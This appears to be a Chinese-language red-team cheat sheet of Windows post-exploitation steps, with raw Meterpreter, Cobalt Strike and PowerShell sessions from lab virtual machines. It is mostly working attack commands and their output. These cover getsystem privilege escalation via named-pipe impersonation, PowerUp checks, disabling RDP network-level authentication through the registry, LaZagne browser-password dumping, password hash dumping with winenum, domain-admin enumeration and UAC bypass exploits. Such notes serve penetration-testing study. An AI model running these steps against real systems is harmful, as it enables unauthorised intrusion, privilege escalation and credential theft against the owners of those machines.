User Profile Service
VMware Tools
Web 帐户管理器
Windows Audio
Windows Audio Endpoint Builder
Windows Connection Manager
Windows Defender Firewall
Windows Event Log
Windows Font Cache Service
Windows Management Instrumentation
Windows Push Notifications User Service_56a0b
Windows 推送通知系统服务
Windows 许可证管理器服务
WinHTTP Web Proxy Auto-Discovery Service
WLAN AutoConfig
Workstation
剪贴板用户服务_56a0b
数据使用量
连接设备平台服务
连接设备平台用户服务_56a0b
命令成功完成。
PS C:\Users\Administrator\Desktop\powrshell> qprocess *
用户名 会话名 ID PID 映像
(未知) services 0 0
(未知) services 0 4 system
system services 0 88 registry
system services 0 296 smss.exe
system services 0 396 csrss.exe
system services 0 496 wininit.exe
>system console 1 508 csrss.exe
>system console 1 588 winlogon.exe
system services 0 604 services.exe
system services 0 632 lsass.exe
system services 0 732 svchost.exe
umfd-0 services 0 744 fontdrvhost.ex
>umfd-1 console 1 812 fontdrvhost.ex
network service services 0 860 svchost.exe
system services 0 904 svchost.exe
>dwm-1 console 1 1000 dwm.exe
network service services 0 376 svchost.exe
local service services 0 656 svchost.exe
local service services 0 808 svchost.exe
system services 0 1120 svchost.exe
system services 0 1136 svchost.exe
system services 0 1176 svchost.exe
local service services 0 1248 svchost.exe
system services 0 1300 svchost.exe
local service services 0 1332 svchost.exe
system services 0 1348 svchost.exe
local service services 0 1420 svchost.exe
local service services 0 1444 svchost.exe
system services 0 1512 svchost.exe
local service services 0 1548 svchost.exe
system services 0 1580 svchost.exe
system services 0 1616 svchost.exe
system services 0 1716 memory compr..
local service services 0 1736 wudfhost.exe
network service services 0 1792 svchost.exe
system services 0 1812 svchost.exe
network service services 0 1844 svchost.exe
system services 0 1892 svchost.exe
local service services 0 1916 svchost.exe
system services 0 2028 svchost.exe
local service services 0 2036 svchost.exe
local service services 0 2064 svchost.exe
network service services 0 2204 svchost.exe
local service services 0 2220 svchost.exe
local service services 0 2240 svchost.exe
system services 0 2276 svchost.exe
system services 0 2504 svchost.exe
system services 0 2544 svchost.exe
system services 0 2612 spoolsv.exe
local service services 0 2648 svchost.exe
system services 0 2772 svchost.exe
network service services 0 2784 svchost.exe
system services 0 2844 wvs_supervis..
local service services 0 2852 pg_ctl.exe
network service services 0 2860 svchost.exe
local service services 0 2884 svchost.exe
system services 0 2900 fnplicensing..
system services 0 2928 svchost.exe
system services 0 2988 svchost.exe
system services 0 3016 svchost.exe
local service services 0 1656 svchost.exe
system services 0 2364 vmtoolsd.exe
system services 0 2312 svchost.exe
system services 0 236 sv_service.exe
system services 0 2740 svchost.exe
local service services 0 3236 svchost.exe
system services 0 3260 svchost.exe
system services 0 3416 opsrv.exe
system services 0 3448 svchost.exe
local service services 0 3456 postgres.exe
system services 0 3464 conhost.exe
local service services 0 3516 conhost.exe
system services 0 3976 dllhost.exe
local service services 0 644 postgres.exe
local service services 0 2892 postgres.exe
local service services 0 660 postgres.exe
local service services 0 2920 postgres.exe
local service services 0 2880 postgres.exe
network service services 0 4256 msdtc.exe
>administrator console 1 4972 svchost.exe
>administrator console 1 4988 sihost.exe
>administrator console 1 5012 svchost.exe
>administrator console 1 5088 taskhostw.exe
system services 0 5116 svchost.exe
system services 0 4452 svchost.exe
local service services 0 64 svchost.exe
>administrator console 1 4732 ctfmon.exe
system services 0 1904 svchost.exe
>administrator console 1 5188 explorer.exe
>administrator console 1 5616 svchost.exe
>administrator console 1 5712 sv_websvr.exe
>administrator console 1 5844 shellexperie..
>administrator console 1 6016 runtimebroke..
>administrator console 1 5184 windowsinter..
>administrator console 1 4816 vmtoolsd.exe
>administrator console 1 5992 attackview.exe
local service services 0 2268 svchost.exe
>administrator console 1 1272 powershell.exe
>administrator console 1 3816 conhost.exe
local service services 0 4400 svchost.exe
system services 0 4548 svchost.exe
system services 0 2228 svchost.exe
system services 0 3944 wmiprvse.exe
local service services 0 1364 postgres.exe
local service services 0 4520 postgres.exe
local service services 0 4488 postgres.exe
local service services 0 3392 postgres.exe
local service services 0 4656 svchost.exe
network service services 0 6588 wmiprvse.exe
local service services 0 2528 audiodg.exe
>administrator console 1 260 qprocess.exeps
post/windows/gather/enum_services
meterpreter > ps
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process]
4 0 System x86 0
264 4 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
312 264 csrss.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\csrss.exe
340 264 winlogon.exe x86 0 NT AUTHORITY\SYSTEM \??\C:\WINDOWS\system32\winlogon.exe
388 340 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe
400 340 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe
572 1436 payload1.exe x86 0 ROOT-5DE52AC98B\Administrator C:\Documents and Settings\Administrator\����\payload1.exe
592 388 vmacthlp.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmacthlp.exe
608 388 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe
688 388 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
748 388 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
800 388 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
816 388 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
912 3424 TPAutoConnect.exe x86 0 ROOT-5DE52AC98B\Administrator C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
956 388 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe
984 388 msdtc.exe x86 0 C:\WINDOWS\system32\msdtc.exe
1100 388 httpd.exe x86 0 NT AUTHORITY\SYSTEM C:\phpStudy\PHPTutorial\Apache\bin\httpd.exe
1144 388 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
1200 388 inetinfo.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\inetsrv\inetinfo.exe
1228 388 mysqld.exe x86 0 NT AUTHORITY\SYSTEM C:\phpStudy\PHPTutorial\MySQL\bin\mysqld.exe
1252 388 mysqld.exe x86 0 NT AUTHORITY\SYSTEM C:\phpStudy\PHPTutorial\MySQL\bin\mysqld.exe
1320 168 conime.exe x86 0 ROOT-5DE52AC98B\Administrator C:\WINDOWS\system32\conime.exe
1328 388 svchost.exe x86 0 C:\WINDOWS\system32\svchost.exe
1348 3424 TPAutoConnect.exe x86 0 ROOT-5DE52AC98B\Administrator C:\Program Files\VMware\VMware Tools\TPAutoConnect.exe
1352 388 SafeDogUpdateCenter.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\SafeDog\SafeDogUpdateCenter\SafeDogUpdateCenter.exe
1436 1168 explorer.exe x86 0 ROOT-5DE52AC98B\Administrator C:\WINDOWS\Explorer.EXE
1440 388 CloudHelper.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\SafeDog\SafeDogUpdateCenter\CloudHelper.exe
1468 1436 ctfmon.exe x86 0 ROOT-5DE52AC98B\Administrator C:\WINDOWS\system32\ctfmon.exe
1804 388 VGAuthService.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe
1856 388 vmtoolsd.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
1932 388 mqsvc.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\mqsvc.exe
2072 388 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
2248 1100 httpd.exe x86 0 NT AUTHORITY\SYSTEM C:\phpStudy\PHPTutorial\Apache\bin\httpd.exe
2264 1436 vmtoolsd.exe x86 0 ROOT-5DE52AC98B\Administrator C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
2904 608 wmiprvse.exe x86 0 C:\WINDOWS\system32\wbem\wmiprvse.exe
3196 608 wmiprvse.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\wbem\wmiprvse.exe
3368 388 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe
3408 1436 artifact.exe x86 0 ROOT-5DE52AC98B\Administrator C:\Documents and Settings\Administrator\����\artifact.exe
3424 388 TPAutoConnSvc.exe x86 0 NT AUTHORITY\SYSTEM C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe
3520 388 dllhost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\dllhost.exe
3600 1436 artifact.exe x86 0 ROOT-5DE52AC98B\Administrator C:\Documents and Settings\Administrator\����\artifact.exe
3876 340 logon.scr x86 0 ROOT-5DE52AC98B\Administrator C:\WINDOWS\System32\logon.scr
msf5 post(windows/gather/enum_logged_on_users) > use post/windows/gather/enum_services
msf5 post(windows/gather/enum_services) > set session 1
session => 1
msf5 post(windows/gather/enum_services) > exploit
[*] Listing Service Info for matching services, please wait...
[+] New service credential detected: AeLookupSvc is running as 'LocalSystem'
[+] New service credential detected: Alerter is running as 'NT AUTHORITY\LocalService'
[+] New service credential detected: aspnet_state is running as 'NT AUTHORITY\NetworkService'
Services
========
Name Credentials Command Startup
---- ----------- ------- -------
ALG NT AUTHORITY\LocalService Manual C:\WINDOWS\System32\alg.exe
AeLookupSvc LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
Alerter NT AUTHORITY\LocalService Disabled C:\WINDOWS\system32\svchost.exe -k LocalService
Apache2 LocalSystem Auto "C:\phpstudy0\Apache\bin\httpd.exe" -k runservice
AppMgmt LocalSystem Manual C:\WINDOWS\system32\svchost.exe -k netsvcs
AudioSrv LocalSystem Disabled C:\WINDOWS\System32\svchost.exe -k netsvcs
BITS LocalSystem Manual C:\WINDOWS\system32\svchost.exe -k netsvcs
Browser LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
COMSysApp LocalSystem Manual C:\WINDOWS\system32\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}
CiSvc LocalSystem Disabled C:\WINDOWS\system32\cisvc.exe
ClipSrv LocalSystem Disabled C:\WINDOWS\system32\clipsrv.exe
CryptSvc LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
DcomLaunch LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k DcomLaunch
Dfs LocalSystem Manual C:\WINDOWS\system32\Dfssvc.exe
Dhcp NT AUTHORITY\NetworkService Auto C:\WINDOWS\system32\svchost.exe -k NetworkService
Dnscache NT AUTHORITY\NetworkService Auto C:\WINDOWS\system32\svchost.exe -k NetworkService
ERSvc LocalSystem Auto C:\WINDOWS\System32\svchost.exe -k WinErr
EventSystem LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
Eventlog LocalSystem Auto C:\WINDOWS\system32\services.exe
HTTPFilter LocalSystem Manual C:\WINDOWS\system32\lsass.exe
HidServ LocalSystem Disabled C:\WINDOWS\System32\svchost.exe -k netsvcs
IISADMIN LocalSystem Auto C:\WINDOWS\system32\inetsrv\inetinfo.exe
ImapiService LocalSystem Disabled C:\WINDOWS\system32\imapi.exe
IsmServ LocalSystem Disabled C:\WINDOWS\System32\ismserv.exe
LicenseService NT AUTHORITY\NetworkService Disabled C:\WINDOWS\System32\llssrv.exe
LmHosts NT AUTHORITY\LocalService Auto C:\WINDOWS\system32\svchost.exe -k LocalService
MSDTC NT AUTHORITY\NetworkService Auto C:\WINDOWS\system32\msdtc.exe
MSIServer LocalSystem Manual C:\WINDOWS\system32\msiexec.exe /V
MSMQ LocalSystem Auto C:\WINDOWS\system32\mqsvc.exe
Messenger LocalSystem Disabled C:\WINDOWS\system32\svchost.exe -k netsvcs
MySQL LocalSystem Auto C:\phpStudy\PHPTutorial\MySQL\bin\mysqld.exe MySQL
MySQLa LocalSystem Auto C:\phpStudy\PHPTutorial\MySQL\bin\mysqld.exe MySQLa
NetDDE LocalSystem Disabled C:\WINDOWS\system32\netdde.exe
NetDDEdsdm LocalSystem Disabled C:\WINDOWS\system32\netdde.exe
Netlogon LocalSystem Manual C:\WINDOWS\system32\lsass.exe
Netman LocalSystem Manual C:\WINDOWS\System32\svchost.exe -k netsvcs
Nla LocalSystem Manual C:\WINDOWS\system32\svchost.exe -k netsvcs
NtFrs LocalSystem Manual C:\WINDOWS\system32\ntfrs.exe
NtLmSsp LocalSystem Manual C:\WINDOWS\system32\lsass.exe
NtmsSvc LocalSystem Manual C:\WINDOWS\system32\svchost.exe -k netsvcs
PlugPlay LocalSystem Auto C:\WINDOWS\system32\services.exe
PolicyAgent LocalSystem Auto C:\WINDOWS\system32\lsass.exe
ProtectedStorage LocalSystem Auto C:\WINDOWS\system32\lsass.exe
RDSessMgr LocalSystem Manual C:\WINDOWS\system32\sessmgr.exe
RSoPProv LocalSystem Manual C:\WINDOWS\system32\RSoPProv.exe
RasAuto LocalSystem Manual C:\WINDOWS\system32\svchost.exe -k netsvcs
RasMan LocalSystem Manual C:\WINDOWS\system32\svchost.exe -k netsvcs
RemoteAccess LocalSystem Disabled C:\WINDOWS\system32\svchost.exe -k netsvcs
RemoteRegistry NT AUTHORITY\LocalService Auto C:\WINDOWS\system32\svchost.exe -k regsvc
RpcLocator NT AUTHORITY\NetworkService Manual C:\WINDOWS\system32\locator.exe
RpcSs NT AUTHORITY\NetworkService Auto C:\WINDOWS\system32\svchost.exe -k rpcss
SCardSvr NT AUTHORITY\LocalService Manual C:\WINDOWS\System32\SCardSvr.exe
SENS LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
SafeDogCloudHelper LocalSystem Auto "C:\Program Files\SafeDog\SafeDogUpdateCenter\CloudHelper.exe"
Safedog Update Center LocalSystem Auto "C:\Program Files\SafeDog\SafeDogUpdateCenter\SafeDogUpdateCenter.exe"
SamSs LocalSystem Auto C:\WINDOWS\system32\lsass.exe
Schedule LocalSystem Auto C:\WINDOWS\System32\svchost.exe -k netsvcs
SharedAccess LocalSystem Disabled C:\WINDOWS\system32\svchost.exe -k netsvcs
ShellHWDetection LocalSystem Auto C:\WINDOWS\System32\svchost.exe -k netsvcs
Spooler LocalSystem Auto C:\WINDOWS\system32\spoolsv.exe
SysmonLog NT Authority\NetworkService Auto C:\WINDOWS\system32\smlogsvc.exe
TPAutoConnSvc LocalSystem Manual "C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe"
TPVCGateway LocalSystem Manual "C:\Program Files\VMware\VMware Tools\TPVCGateway.exe"
TapiSrv LocalSystem Manual C:\WINDOWS\System32\svchost.exe -k tapisrv
TermService LocalSystem Manual C:\WINDOWS\System32\svchost.exe -k termsvcs
Themes LocalSystem Disabled C:\WINDOWS\System32\svchost.exe -k netsvcs
TlntSvr NT AUTHORITY\LocalService Disabled C:\WINDOWS\system32\tlntsvr.exe
TrkSvr LocalSystem Disabled C:\WINDOWS\system32\svchost.exe -k netsvcs
TrkWks LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
Tssdis LocalSystem Disabled C:\WINDOWS\System32\tssdis.exe
UMWdf NT AUTHORITY\LocalService Manual C:\WINDOWS\system32\wdfmgr.exe
UPS NT AUTHORITY\LocalService Manual C:\WINDOWS\System32\ups.exe
VGAuthService LocalSystem Auto "C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"
VMTools LocalSystem Auto "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"
VMware Physical Disk Helper Service LocalSystem Auto "C:\Program Files\VMware\VMware Tools\vmacthlp.exe"
VSS LocalSystem Manual C:\WINDOWS\System32\vssvc.exe
W32Time NT AUTHORITY\LocalService Auto C:\WINDOWS\System32\svchost.exe -k LocalService
W3SVC LocalSystem Auto C:\WINDOWS\System32\svchost.exe -k iissvcs
WZCSVC LocalSystem Auto C:\WINDOWS\System32\svchost.exe -k netsvcs
WebClient NT AUTHORITY\LocalService Disabled C:\WINDOWS\system32\svchost.exe -k LocalService
WinHttpAutoProxySvc NT AUTHORITY\LocalService Manual C:\WINDOWS\system32\svchost.exe -k LocalService
WmdmPmSN LocalSystem Manual C:\WINDOWS\System32\svchost.exe -k netsvcs
Wmi LocalSystem Manual C:\WINDOWS\System32\svchost.exe -k netsvcs
WmiApSrv LocalSystem Manual C:\WINDOWS\system32\wbem\wmiapsrv.exe
apache LocalSystem Auto "C:\phpStudy\PHPTutorial\Apache\bin\httpd.exe" -k runservice
aspnet_state NT AUTHORITY\NetworkService Manual C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_state.exe
dmadmin LocalSystem Manual C:\WINDOWS\System32\dmadmin.exe /com
dmserver LocalSystem Auto C:\WINDOWS\System32\svchost.exe -k netsvcs
helpsvc LocalSystem Auto C:\WINDOWS\System32\svchost.exe -k netsvcs
kdc LocalSystem Disabled C:\WINDOWS\System32\lsass.exe
lanmanserver LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
lanmanworkstation LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
mnmsrvc LocalSystem Disabled C:\WINDOWS\system32\mnmsrvc.exe
sacsvr LocalSystem Manual C:\WINDOWS\System32\svchost.exe -k netsvcs
seclogon LocalSystem Auto C:\WINDOWS\System32\svchost.exe -k netsvcs
stisvc NT AUTHORITY\LocalService Disabled C:\WINDOWS\system32\svchost.exe -k imgsvc
swprv LocalSystem Manual C:\WINDOWS\System32\svchost.exe -k swprv
vds LocalSystem Manual C:\WINDOWS\System32\vds.exe
vmvss LocalSystem Manual C:\WINDOWS\system32\dllhost.exe /Processid:{64F3ADCF-113F-4FD8-B7EE-76884E9E75E6}
winmgmt LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
wuauserv LocalSystem Auto C:\WINDOWS\system32\svchost.exe -k netsvcs
xmlprov LocalSystem Manual C:\WINDOWS\System32\svchost.exe -k netsvcs
[+] Loot file stored in: /root/.msf4/loot/20190907144835_default_192.168.2.114_windows.services_639665.txt
[*] Post module execution completed
explore -- > process list
powershell.exe -epbypass PowerUp.ps1
Invoke-AllChecks
exploit/windows/local/trusted_service_path
powershell-import /path/to/PowerUp.ps1
powershell Invoke-AllChecks
getsystem
getsystem工作原理：
- ①getsystem创建一个新的Windows服务，设置为SYSTEM运行，当它启动时连接到一个命名管道。
- ②getsystem产生一个进程，它创建一个命名管道并等待来自该服务的连接。
- ③Windows服务已启动，导致与命名管道建立连接。
- ④该进程接收连接并调用ImpersonateNamedPipeClient，从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe，并且我们有一个SYSTEM特权进程
有三种工作方式
0 : All techniques available
1 : Named Pipe Impersonation (In Memory/Admin)1:命名管道模拟(在内存/管理中)
2 : Named Pipe Impersonation (Dropper/Admin)2:命名管道模拟(Dropper/Admin)
3 : Token Duplication (In Memory/Admin)3:令牌复制(在内存/管理中)
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > whoami
[-] Unknown command: whoami.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
getsystem
beacon> getsystem
[*] Tasked beacon to get SYSTEM
[+] host called home, sent: 100 bytes
[+] Impersonated NT AUTHORITY\SYSTEM
net localgroup "Administrators"
PS C:\Users\Administrator\Desktop\powrshell> net localgroup "Administrators"
别名 Administrators
注释 管理员对计算机/域有不受限制的完全访问权
成员
-------------------------------------------------------------------------------
Administrator
命令成功完成。
post/windows/gather/local_admin_search_enum
msf5 post(windows/gather/local_admin_search_enum) > exploit
[-] Running as SYSTEM, module should be run with USER level rights
[*] Scanned 1 of 1 hosts (100% complete)
[*] Post module execution completed
shell net localgroup "Administrators"
beacon> shell net localgroup "Administrators"
[*] Tasked beacon to run: net localgroup "Administrators"
[+] host called home, sent: 62 bytes
[-] could not spawn C:\WINDOWS\system32\cmd.exe /C net localgroup "Administrators" (token): 1349
net group ["Domain Admins"] /domain[:DOMAIN]
PS C:\Users\Administrator\Desktop\powrshell> net group /domain
这项请求将在域 WORKGROUP 的域控制器处理。
发生系统错误 1355。
指定的域不存在，或无法联系。
post/windows/gather/enum_domain_group_users
msf5 post(windows/gather/enum_domain_group_users) > exploit
[*] Running module against ROOT-5DE52AC98B
[-] Post failed: NoMethodError undefined method `each' for nil:NilClass
[-] Call stack:
[-] /usr/share/metasploit-framework/modules/post/windows/gather/enum_domain_group_users.rb:77:in `get_members'
[-] /usr/share/metasploit-framework/modules/post/windows/gather/enum_domain_group_users.rb:42:in `run'
[*] Post module execution completed
net group ["Domain Admins"] /domain
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
net start TermService
PS C:\Users\Administrator\Desktop\powrshell> REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\
RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
操作成功完成。
PS C:\Users\Administrator\Desktop\powrshell> reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Serve
r" /v fDenyTSConnections /t REG_DWORD /d 0 /f
操作成功完成。
PS C:\Users\Administrator\Desktop\powrshell> net start TermService
请求的服务已经启动。
请键入 NET HELPMSG 2182 以获得更多的帮助。
#### msf下操作：
post/windows/manage/enable_rdp
msf5 post(windows/manage/enable_rdp) > exploit
[*] Enabling Remote Desktop
[*] RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] The Terminal Services service is not set to auto, changing it to auto ...
[*] Opening port in local firewall if necessary
[*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20190907201411_default_192.168.2.114_host.windows.cle_731683.txt
[*] Post module execution completed
shell REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
shell reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
shell net start TermService
explore --> desktop
https://github.com/AlessandroZ/LaZagne
https://github.com/hassaanaliw/chromepass
laZagne.exe browsers [-f]
PS C:\Users\Administrator\Desktop\powrshell> C:\Users\Administrator\Desktop\lazagne.exe browsers -f
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
[+] System masterkey decrypted for a02f012c-b6ff-48b9-8b07-5a2ea73628d6
[+] System masterkey decrypted for 56e7df96-74cb-45af-95ed-f15706dcff3e
[+] 0 passwords have been found.
For more information launch it again with the -v option
elapsed time = 0.952999830246
ver
C:\Users\Administrator\Desktop\powrshell>ver
Microsoft Windows [版本 10.0.17763.593]
shell ver
set
C:\Users\Administrator\Desktop\powrshell>set
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\Administrator\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=DESKTOP-QQF0MLN
ComSpec=C:\Windows\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
FPS_BROWSER_APP_PROFILE_STRING=Internet Explorer
FPS_BROWSER_USER_PROFILE_STRING=Default
HOMEDRIVE=C:
HOMEPATH=\Users\Administrator
LOCALAPPDATA=C:\Users\Administrator\AppData\Local
LOGONSERVER=\\DESKTOP-QQF0MLN
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=C:\Program Files (x86)\NetSarang\Xftp 6\;C:\Program Files (x86)\NetSarang\Xshell 6\;C:\Program Files
iles\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\Win
v1.0\;C:\python3;C:\python3\Scripts;C:\Python27;C:\Python27\Scripts;C:\python3\Scripts\;C:\python3\;C:\Us
or\AppData\Local\Microsoft\WindowsApps;
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 158 Stepping 10, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=9e0a
ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files
PROMPT=$P$G
PSModulePath=C:\Users\Administrator\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShel
ndows\system32\WindowsPowerShell\v1.0\Modules
PUBLIC=C:\Users\Public
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\Windows
TEMP=C:\Users\ADMINI~1\AppData\Local\Temp
TMP=C:\Users\ADMINI~1\AppData\Local\Temp
USERDOMAIN=DESKTOP-QQF0MLN
USERDOMAIN_ROAMINGPROFILE=DESKTOP-QQF0MLN
USERNAME=Administrator
USERPROFILE=C:\Users\Administrator
windir=C:\Windows
shell set
net config workstation
net config server
C:\Users\Administrator\Desktop\powrshell>net config workstation
计算机名 \\DESKTOP-QQF0MLN
计算机全名 DESKTOP-QQF0MLN
用户名 Administrator
工作站正运行于
NetBT_Tcpip_{D56C33AF-9F2F-4E8B-90F2-A5FB6CAA3D90} (000C29D73FB2)
软件版本 Windows 10 Enterprise LTSC 2019
工作站域 WORKGROUP
登录域 DESKTOP-QQF0MLN
COM 打开超时 (秒) 0
COM 发送计数 (字节) 16
COM 发送超时 (毫秒) 250
命令成功完成。
C:\Users\Administrator\Desktop\powrshell>net config server
服务器名称 \\DESKTOP-QQF0MLN
服务器注释
软件版本 Windows 10 Enterprise LTSC 2019
服务器正运行于
NetbiosSmb (DESKTOP-QQF0MLN)
NetBT_Tcpip_{D56C33AF-9F2F-4E8B-90F2-A5FB6CAA3D90} (DESKTOP-QQF0MLN)
服务器已隐藏 No
登录的用户数量上限 20
每个会话打开的文件数量上限 16384
空闲的会话时间 (分) 15
命令成功完成。
shell net config workstation
shell net config server
systeminfo [/s COMPNAME] [/u DOMAIN\user] [/p password]
sysinfo
run winenum
meterpreter > sysinfo
Computer : ROOT-5DE52AC98B
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > run winenum
[*] Running Windows Local Enumeration Meterpreter Script
[*] New session on 192.168.2.114:1068...
[*] Saving general report to /root/.msf4/logs/scripts/winenum/ROOT-5DE52AC98B_20190907.4112/ROOT-5DE52AC98B_20190907.4112.txt
[*] Output of each individual command is saved to /root/.msf4/logs/scripts/winenum/ROOT-5DE52AC98B_20190907.4112
[*] Checking if ROOT-5DE52AC98B is a Virtual Machine ........
[*] This is a VMware Workstation/Fusion Virtual Machine
[*] UAC is Disabled
[*] Running Command List ...
[*] running command cmd.exe /c set
[*] running command ipconfig /displaydns
[*] running command arp -a
[*] running command netstat -nao
[*] running command netstat -vb
[*] running command route print
[*] running command netstat -ns
[*] running command ipconfig /all
[*] running command net view
[*] running command net accounts
[*] running command net view /domain
[*] running command net share
[*] running command net group
[*] running command net user
[*] running command net localgroup
[*] running command net localgroup administrators
[*] running command net group administrators
[*] running command netsh firewall show config
[*] running command tasklist /svc
[*] running command net session
[*] running command gpresult /SCOPE COMPUTER /Z
[*] running command gpresult /SCOPE USER /Z
[*] Running WMIC Commands ....
[*] running command wmic group list
[*] running command wmic nteventlog get path,filename,writeable
[*] running command wmic useraccount list
[*] running command wmic netclient list brief
[*] running command wmic share get name,path
[*] running command wmic volume list brief
[*] running command wmic logicaldisk get description,filesystem,name,size
[*] running command wmic service list brief
[*] running command wmic netlogin get name,lastlogon,badpasswordcount
[*] running command wmic netuse get name,username,connectiontype,localname
[*] running command wmic rdtoggle list
[*] running command wmic startup list full
[*] running command wmic qfe
[*] running command wmic product get name,version
[*] Extracting software list from registry
[*] Dumping password hashes...
[*] Hashes Dumped
[*] Getting Tokens...
[*] All tokens have been processed
[*] Done!
shell systeminfo
net user [username] [/domain]
C:\Users\Administrator\Desktop\powrshell>net user administrator
用户名 Administrator
全名
注释 管理计算机(域)的内置帐户
用户的注释
国家/地区代码 000 (系统默认值)
帐户启用 Yes
帐户到期 从不
上次设置密码 2019-7-14 23:28:47
密码到期 从不
密码可更改 2019-7-14 23:28:47
需要密码 Yes
用户可以更改密码 Yes
允许的工作站 All
登录脚本
用户配置文件
主目录
上次登录 2019-9-7 10:08:43
可允许的登录小时数 All
本地组成员 *Administrators
全局组成员 *None
命令成功完成。
post/windows/gather/enum_ad_users
auxiliary/scanner/smb/smb_enumusers
msf5 post(windows/gather/enum_ad_users) > exploit
[-] Unable to find the domain to query.
[*] Post module execution completed
dsquery group "ou=Domain Admins,dc=domain,dc=com"
dsquery user "dc=domain,dc=com"
dsquery * OU="Domain Admins",DC=domain,DC=com -scope base -attr SAMAccountName userPrincipalName Description
dsquery * -filter "(&(objectCategory=contact)(objectCategory=person)(mail=*)(objectClass=user))" -Attr samAccountName mail -Limit 0
dsquery * -filter "(&(objectCategory=group)(name=*Admin*))" -Attr name description members
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_vbs
msf5 exploit(windows/local/bypassuac) > exploit
[*] Started reverse TCP handler on 192.168.2.103:4444
[-] Exploit aborted due to failure: none: Already in elevated state
[*] Exploit completed, but no session was created.
msf5 exploit(windows/local/bypassuac_injection) > exploit
